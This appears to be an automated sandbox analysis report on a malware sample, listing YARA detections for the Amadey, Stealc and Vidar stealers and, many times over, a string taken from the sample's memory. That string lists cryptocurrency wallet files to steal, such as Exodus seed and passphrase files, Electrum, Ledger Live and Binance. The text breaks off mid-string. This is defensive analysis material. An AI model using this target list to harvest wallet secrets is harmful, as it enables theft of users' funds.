Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA635A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA635A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.DocumentsFIJKEHJJDA.exe.d80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.2053541168.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2055010965.0000000000D81000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2094097161.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1999434350.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2053785801.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2094273758.00000000007B1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1995284969.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1470881324.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5612, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop 